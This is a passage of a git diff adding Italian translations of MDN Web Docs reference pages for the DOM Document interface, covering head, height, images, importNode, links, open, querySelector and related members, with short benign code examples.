+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("Element.getElementsByTagName()")}}</li>
+ <li>{{domxref("document.getElementById()")}} per tornare a fare riferimento a un elemento con il suo <code>id</code></li>
+ <li>{{domxref("document.getElementsByName()")}} per tornare a fare riferimento a un elemento con il suo <code>name</code></li>
+ <li>{{domxref("document.querySelector()")}} per potenti selettori tramite queries come  <code>'div.myclass'</code></li>
+</ul>
diff --git a/files/it/web/api/document/head/index.html b/files/it/web/api/document/head/index.html
new file mode 100644
index 0000000000..941a533431
--- /dev/null
+++ b/files/it/web/api/document/head/index.html
@@ -0,0 +1,84 @@
+---
+title: Document.head
+slug: Web/API/Document/head
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Proprietà
+  - Referenza
+translation_of: Web/API/Document/head
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">La proprietà <code><strong>head</strong></code> di sola lettura dell'interfaccia {{domxref("Document")}} restituisce l'elemento {{HTMLElement("head")}} del documento corrente.</span></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <var>objRef</var> = document.head;
+</pre>
+
+<h3 id="Valore">Valore</h3>
+
+<p>Un {{domxref("HTMLHeadElement")}}.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;head id="my-document-head"&gt;
+  &lt;title&gt;Esempio: usare document.head&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;script&gt;
+  var theHead = document.head;
+
+  console.log(theHead.id); // "my-document-head";
+
+  console.log( theHead === document.querySelector("head") ); // true
+&lt;/script&gt;
+</pre>
+
+<h2 id="Appunti">Appunti</h2>
+
+<p><code>document.head</code> è di sola lettura. Cercare di assegnare un valore a questa proprietà fallirà silenziosamente o, in <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict Mode</a>, genera un {{jsxref("TypeError")}} .</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="spectable standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Document.head")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("document.body")}}</li>
+</ul>
diff --git a/files/it/web/api/document/height/index.html b/files/it/web/api/document/height/index.html
new file mode 100644
index 0000000000..ee517b6c39
--- /dev/null
+++ b/files/it/web/api/document/height/index.html
@@ -0,0 +1,35 @@
+---
+title: document.height
+slug: Web/API/Document/height
+translation_of: Web/API/Document/height
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Restituisce l'altezza in pixel dell'elemento body del documento corrente.</p>
+
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+
+<pre class="eval"><i>height_value</i> = document.height
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<ul>
+ <li><code>height_value</code> è il numero di pixel</li>
+</ul>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">// visualizza l'altezza del documento
+alert(document.height);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Si veda <code><a href="it/DOM/document.width">document.width</a></code>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p>DOM Level 0. Non è parte di uno standard.</p>
+
+<p>{{ languages( { "pl": "pl/DOM/document.height" } ) }}</p>
diff --git a/files/it/web/api/document/images/index.html b/files/it/web/api/document/images/index.html
new file mode 100644
index 0000000000..abe27b2a11
--- /dev/null
+++ b/files/it/web/api/document/images/index.html
@@ -0,0 +1,52 @@
+---
+title: Document.images
+slug: Web/API/Document/images
+translation_of: Web/API/Document/images
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>document.images</code> restituisce una collezione delle <a href="/en-US/docs/DOM/Image" title="DOM/Image">immagini</a> nel documento HTML corrente.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><em>var htmlCollection</em> = document.images;</pre>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre class="brush:js">var ilist = document.images;
+
+for(var i = 0; i &lt; ilist.length; i++) {
+    if(ilist[i].src == "banner.gif") {
+        // found the banner
+    }
+}</pre>
+
+<h2 id="Notes" name="Notes">Note</h2>
+
+<p><code>document.images.length</code> – proprietà che restituisce il numero di immagini della pagina.</p>
+
+<p><code>document.images</code> è parte del DOM HTML, e funziona solo per documenti HTML.</p>
+
+<h2 id="Specifications" name="Specifications">Specifiche tecniche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifiche tecniche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-images', 'Document.images')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-90379117', 'Document.images')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/it/web/api/document/importnode/index.html b/files/it/web/api/document/importnode/index.html
new file mode 100644
index 0000000000..354db3c0c8
--- /dev/null
+++ b/files/it/web/api/document/importnode/index.html
@@ -0,0 +1,45 @@
+---
+title: document.importNode
+slug: Web/API/Document/importNode
+translation_of: Web/API/Document/importNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Restituisce un clone di un nodo preso da un documento esterno.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>nodo</i> =
+<i>document</i>.importNode(
+<i>nodoEsterno</i>,
+<i>bool</i>)
+</pre>
+
+<ul>
+ <li><code>nodo</code> è il nodo che verrà importato nel documento. Il
+
+  <i>parentNode</i>
+  del nuovo nodo è <code>null</code>, perchè non è ancora stato inserito nell'albero del documento</li>
+ <li><code>nodoEsterno</code> è il nodo che verrà importato da un altro documento</li>
+ <li><code>bool</code> vale true o false. Se è true, il nodo verrà importato con tutti i suoi figli. Se è false, il nodo verrà importato senza i figli</li>
+</ul>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">var iframe = document.getElementsByTagName("iframe")[0];
+var vecchioNodo = iframe.contentDocument.getElementById("mioNodo");
+var nuovoNodo = document.importNode(vecchioNodo,true);
+document.getElementById("contenitore").appendChild(nuovoNodo);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Il nodo non viene rimosso dal documento originale. Il nodo importato è un clone dell'originale. I nodi presi dai documenti esterni devono essere importati prima di poter essere inseriti nel documento corrente.</p>
+
+<p><a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="freelink">http://www.w3.org/DOM/faq.html#ownerdoc</a></p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#Core-Document-importNode">DOM Level 2 Core: Document.importNode</a></p>
+
+<p>{{ languages( { "fr": "fr/DOM/document.importNode" } ) }}</p>
diff --git a/files/it/web/api/document/index.html b/files/it/web/api/document/index.html
new file mode 100644
index 0000000000..108f317cc3
--- /dev/null
+++ b/files/it/web/api/document/index.html
@@ -0,0 +1,308 @@
+---
+title: Document
+slug: Web/API/Document
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - SezioneIncompleta
+  - Tutte_le_categorie
+translation_of: Web/API/Document
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Introduzione" name="Introduzione">Introduzione</h3>
+
+<p>L'oggetto document fornisce un modo generico di rappresentare documenti <a href="it/HTML">HTML</a>, <a href="it/XHTML">XHTML</a>, e <a href="it/XML">XML</a>. Implementa l'interfaccia <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#i-Document">DOM Core document</a>.</p>
+
+<p>In aggiunta all'interfaccia generalizzata DOM core document, i documenti HTML implementano pure l'interfaccia <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM HTMLDocument</a>, che è un'interfaccia più specializzata per interagire con i documenti HTML (contiene ad esempio <a href="it/DOM/document.cookie">document.cookie</a>). In questa pagina, le proprietà e i metodi che fanno parte di questa interfaccia più specializzata sono seguite da un asterisco.</p>
+
+<p>L'oggetto document è contenuto nell'oggetto window e può contenere un numero qualsiasi di <a href="it/DOM/element">elementi</a>.</p>
+
+<p>L'interfaccia di document fornisce accesso a informazioni come il tipo di documento, i plugin e le applet, e fornisce metodi per creare e manipolare i suoi nodi figli.</p>
+
+<h3 id="Propriet.C3.A0" name="Propriet.C3.A0">Proprietà</h3>
+
+<dl>
+ <dt><a href="it/DOM/document.alinkColor">document.alinkColor</a>*{{ Deprecated_inline() }}</dt>
+ <dd>Restituisce o setta il colore dei link attivi nel corpo del documento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.anchors">document.anchors</a>*</dt>
+ <dd>Restituisce una collezione delle ancore presenti nel documento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.applets">document.applets</a>*</dt>
+ <dd>Restituisce una collezione delle applet presenti nel documento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.bgColor">document.bgColor</a>*{{ Deprecated_inline() }}</dt>
+ <dd>Restituisce/setta il colore di sfondo dell'elemento body del documento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.body">document.body</a>*</dt>
+ <dd>Restituisce il nodo BODY del documento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.characterSet">document.characterSet</a></dt>
+ <dd>Restituisce il set di caratteri usato nel documento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.compatMode">document.compatMode</a>*</dt>
+ <dd>Indica se il documento viene letto dal browser in modalità standard o in modalità compatibile.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.cookie">document.cookie</a>*</dt>
+ <dd>Restituisce una stringa contenente la lista dei cookie(separati da un punto e virgola) usati dal documento o setta un singolo cookie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.contentWindow">document.contentWindow</a>*</dt>
+ <dd>Restituisce l'oggetto window in cui è contenuto il documento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.defaultView">document.defaultView</a></dt>
+ <dd>Restituisce un riferimento all'oggetto window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.designMode">document.designMode</a></dt>
+ <dd>Restituisce/setta lo stato di attivazione del Rich Text Editor di firefox, <a href="it/Midas">Midas</a>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.doctype">document.doctype</a></dt>
+ <dd>Restituisce la Dichiarazione del Tipo di Documento(DTD) del documento corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.documentElement">document.documentElement</a></dt>
+ <dd>Restituisce l'elemento che è figlio diretto di document, cioè nella maggior parte dei casi l'elemento HTML.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.domain">document.domain</a>*</dt>
+ <dd>Restituisce il dominio del documento corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.embeds">document.embeds</a>*</dt>
+ <dd>Restituisce una lista degli elementi object contenuti nel documento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.fgColor">document.fgColor</a>*{{ Deprecated_inline() }}</dt>
+ <dd>Restituisce/setta il colore di default per il testo del documento corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.firstChild">document.firstChild</a></dt>
+ <dd>Restituisce il primo nodo figlio di document. (Guarda anche <a href="it/FirstChild">firstChild</a> presente nell'intefaccia element).</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.forms">document.forms</a>*</dt>
+ <dd>Restituisce una collezione degli elementi FORM contenuti nel documento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.height">document.height</a>*</dt>
+ <dd>Restituisce/setta l'altezza del documento corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.images">document.images</a>*</dt>
+ <dd>Restituisce una collezione delle immagini contenute nel documento corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.implementation">document.implementation</a>*</dt>
+ <dd>Restituisce l'implementazione DOM associata al documento corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.lastModified">document.lastModified</a>*</dt>
+ <dd>Restituisce la data in cui il documento è stato modificato l'ultima volta.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.linkColor">document.linkColor</a>*{{ Deprecated_inline() }}</dt>
+ <dd>Restituisce/setta il colore dei collegamenti nel documento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.links">document.links</a>*</dt>
+ <dd>Restituisce una collezione dei collegamenti presenti nel documento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.location">document.location</a>*</dt>
+ <dd>Restituisce l'URI del documento corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.namespaceURI">document.namespaceURI</a></dt>
+ <dd>Restituisce lo spazio dei nomi XML del documento corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.plugins">document.plugins</a>*</dt>
+ <dd>Restituisce una lista dei plugin disponibili.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.referrer">document.referrer</a>*</dt>
+ <dd>Restituisce l'URI della pagina che ha portato al documento corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.styleSheets">document.styleSheets</a>*</dt>
+ <dd>Restituisce una collezione degli oggetti <a href="it/DOM/stylesheet">stylesheet</a> presenti nel documento corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.title">document.title</a>*</dt>
+ <dd>Restituisce il titolo del documento corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.URL">document.URL</a></dt>
+ <dd>Restituisce una stringa che rappresenta l'URI del documento corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.vlinkColor">document.vlinkColor</a>*{{ Deprecated_inline() }}</dt>
+ <dd>Restituisce/setta il colore dei collegamenti visitati.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.width">document.width</a>*</dt>
+ <dd>Restituisce la larghezza del documento corrente.</dd>
+</dl>
+
+<h3 id="Metodi" name="Metodi">Metodi</h3>
+
+<dl>
+ <dt><a href="it/DOM/document.clear">document.clear</a> {{ Deprecated_inline() }}</dt>
+ <dd>Cancella i contenuti del documento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.close">document.close</a></dt>
+ <dd>Chiude lo stream per la scrittura del documento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.createAttribute">document.createAttribute</a></dt>
+ <dd>Crea (e restituisce) un nuovo nodo attributo.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.createDocumentFragment">document.createDocumentFragment</a></dt>
+ <dd>Crea un frammento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.createElement">document.createElement</a>*</dt>
+ <dd>Crea un elemento a partire dal nome di tag dato. Non funziona con documenti xml.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.createElementNS">document.createElementNS</a></dt>
+ <dd>Crea un elmento col nome di tag e l'URI per lo spazio dei nomi dati.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.createTextNode">document.createTextNode</a></dt>
+ <dd>Crea un nodo testuale.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.createEvent">document.createEvent</a></dt>
+ <dd>Crea un oggetto di classe Event.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.createRange">document.createRange</a></dt>
+ <dd>Crea un oggetto di classe Range.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.execCommand">document.execCommand</a></dt>
+ <dd>Esegue un comando <a href="it/Midas">Midas</a>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.evaluate">document.evaluate</a></dt>
+ <dd>Valuta una espressione XPath.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.getElementById">document.getElementById</a></dt>
+ <dd>Restituisce un riferimento a oggetto per l'elemento che ha il dato id.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.getElementsByName">document.getElementsByName</a></dt>
+ <dd>Restituisce una collezione di elementi con il dato attributo name.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.getElementsByTagName">document.getElementsByTagName</a></dt>
+ <dd>Restituisce una collezione degli elementi con il dato nome di tag.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.importNode">document.importNode</a></dt>
+ <dd>Restituisce un clone di un nodo preso da un documento esterno.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.loadOverlay">document.loadOverlay</a></dt>
+ <dd>Carica un <a href="it/XUL_Overlays"> overlay XUL</a> dinamicamente. Funziona solo con i documenti XUL.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.open">document.open</a></dt>
+ <dd>Apre uno stream di documento per la scrittura.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.queryCommandEnabled">document.queryCommandEnabled</a></dt>
+ <dd>Restituisce true se il comando <a href="it/Midas">Midas</a> può essere eseguito sul range corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.queryCommandIndeterm">document.queryCommandIndeterm</a></dt>
+ <dd>Restituisce true se il comando <a href="it/Midas">Midas</a> è in uno stato indeterminato per il range corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.queryCommandState">document.queryCommandState</a></dt>
+ <dd>Restituisce true se il comando <a href="it/Midas">Midas</a> è stato eseguito sul range corrente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.queryCommandValue">document.queryCommandValue</a></dt>
+ <dd>Restituisce il valore corrente del range corrente per il comando <a href="it/Midas">Midas</a>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.write">document.write</a>*</dt>
+ <dd>Scrive del codice all'interno del documento.Non funziona con i documenti xml.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/document.writeln">document.writeln</a></dt>
+ <dd>Scrive una linea di codice all'interno del documento. Non funziona con i documenti xml.</dd>
+</dl>
+
+<p>{{ languages( { "fr": "fr/DOM/document", "pl": "pl/DOM/document", "en": "en/DOM/document" } ) }}</p>
diff --git a/files/it/web/api/document/lastmodified/index.html b/files/it/web/api/document/lastmodified/index.html
new file mode 100644
index 0000000000..4e56851ee4
--- /dev/null
+++ b/files/it/web/api/document/lastmodified/index.html
@@ -0,0 +1,31 @@
+---
+title: document.lastModified
+slug: Web/API/Document/lastModified
+translation_of: Web/API/Document/lastModified
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Restituisce una stringa contenente la data e l'ora dell'utlima modifica apportata al documento corrente.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>stringa</i> = document.lastModified
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">dump(document.lastModified);
+// restituisce: Tuesday, July 10, 2001 10:19:42
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Si noti che essendo una stringa, <code>lastModified</code> non può essere utilizzata facilmente per le comparazioni tra le date di modifica di un altro documento.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
+
+<p><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/lastmodified.asp?frame=true">MSDN: proprietà lastModified</a></p>
+
+<p>{{ languages( { "pl": "pl/DOM/document.lastModified" } ) }}</p>
diff --git a/files/it/web/api/document/links/index.html b/files/it/web/api/document/links/index.html
new file mode 100644
index 0000000000..fff02b997f
--- /dev/null
+++ b/files/it/web/api/document/links/index.html
@@ -0,0 +1,100 @@
+---
+title: document.links
+slug: Web/API/Document/links
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Document/links
+---
+<div>
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La proprietà links restituisce una collezione di tutti gli elementi {{HTMLElement("area")}} e di tutti gli elementi {{HTMLElement("a")}} in un documento con un valore per l'attributo <a href="https://developer.mozilla.org/en-US/docs/Web/API/URLUtils.href">href</a> .</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="eval line-numbers  language-html"><code class="language-html">nodeList = document.links</code></pre>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> links <span class="operator token">=</span> document<span class="punctuation token">.</span>links<span class="punctuation token">;</span>
+<span class="keyword token">for</span><span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> links<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> linkHref <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createTextNode</span><span class="punctuation token">(</span>links<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>href<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> lineBreak <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"br"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>linkHref<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>lineBreak<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Specifiche_tecniche">Specifiche tecniche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche tecniche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-links', 'Document.links')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-7068919", "document.links")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
diff --git a/files/it/web/api/document/namespaceuri/index.html b/files/it/web/api/document/namespaceuri/index.html
new file mode 100644
index 0000000000..704185463f
--- /dev/null
+++ b/files/it/web/api/document/namespaceuri/index.html
@@ -0,0 +1,29 @@
+---
+title: document.namespaceURI
+slug: Web/API/Document/namespaceURI
+translation_of: Web/API/Node/namespaceURI
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>namespaceURI</code> restituisce lo spazio dei nomi XML del documento corrente.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>NSURI</i> = document.namespaceURI
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<ul>
+ <li><code>NSURI</code> è una stringa contenente lo spazio dei nomi.</li>
+</ul>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Il DOM di per sè non supporta la validazione del namespace. Spetta all'applicazione DOM effettuare la necessaria validazione. Si noti inoltre che il prefisso del namespace, una volta associato a un nodo particolare, non può più cambiare.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#Namespaces-Considerations">DOM Level 2 Core: namespaceURI</a></p>
+
+<p>{{ languages( { "fr": "fr/DOM/document.namespaceURI", "pl": "pl/DOM/document.namespaceURI" } ) }}</p>
diff --git a/files/it/web/api/document/open/index.html b/files/it/web/api/document/open/index.html
new file mode 100644
index 0000000000..7f4c1eb77a
--- /dev/null
+++ b/files/it/web/api/document/open/index.html
@@ -0,0 +1,46 @@
+---
+title: document.open
+slug: Web/API/Document/open
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Document/open
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Il metodo <code>document.open()</code> apre un documento in <a href="it/DOM/document.write">scrittura</a> (document.write()).</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">document.open();
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre>// In questo esempio, i contenuti del documento
+// vengono sovrascritti quando il documento
+// viene reinizializzato con open().
+document.write("&lt;html&gt;&lt;p&gt;eliminami&lt;/p&gt;&lt;/html&gt;");
+document.open();
+// il documento è vuoto
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Se un documento esiste, questo metodo lo svuota (si veda l'esempio sopra).</p>
+
+<p>Inoltre <code>document.open()</code> viene chiamato implicitamente quando si chiama <a href="it/DOM/document.write">document.write()</a> dopo che la pagina è stata caricata, nonostante ciò non sia richiesto dalle specifiche del W3C.</p>
+
+<p>Non confondere questo metodo con <a href="it/DOM/window.open">window.open()</a>. <code>document.open()</code> permette di sovrascrivere il documento corrente o aggiungere testo allo stesso, mentre <code>window.open</code> fornisce un modo per apreire una finestra, lasciando intatto il documento. Poiché <code>window</code> è l'oggetto globale, scrivere solamente <code>open(...)</code> fa la stessa cosa</p>
+
+<p>Puoi chiudere il documento aperto usando <a href="it/DOM/document.close">document.close()</a>.</p>
+
+<h3 id="Specification" name="Specification">Specificazioni</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-72161170">DOM Level 2 HTML: <code>open()</code> Method</a></p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "fr": "fr/DOM/document.open", "ja": "ja/DOM/document.open", "pl": "pl/DOM/document.open" } ) }}</p>
diff --git a/files/it/web/api/document/queryselector/index.html b/files/it/web/api/document/queryselector/index.html
new file mode 100644
index 0000000000..6d8000818d
--- /dev/null
+++ b/files/it/web/api/document/queryselector/index.html
@@ -0,0 +1,121 @@
+---
+title: Document.querySelector()
+slug: Web/API/Document/querySelector
+translation_of: Web/API/Document/querySelector
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Il metodo {{domxref("Document")}} <code><strong>querySelector()</strong></code> ritorna il primo {{domxref("Element")}} all'interno del documento che corrisponde al selettore specificato o al gruppo di selettori. Se non vengono trovate corrispondenze, viene restituito <code>null</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Il matching viene eseguito utilizzando il deep-pre-order traversal dei nodi del documento partendo dal primo elemento nel markup del documento e iterando attraverso i nodi sequenziali per ordine del numero di nodi figli.</p>
+</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox notranslate"><var>element</var> = document.querySelector(<var>selectors</var>);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><var>selectors</var></dt>
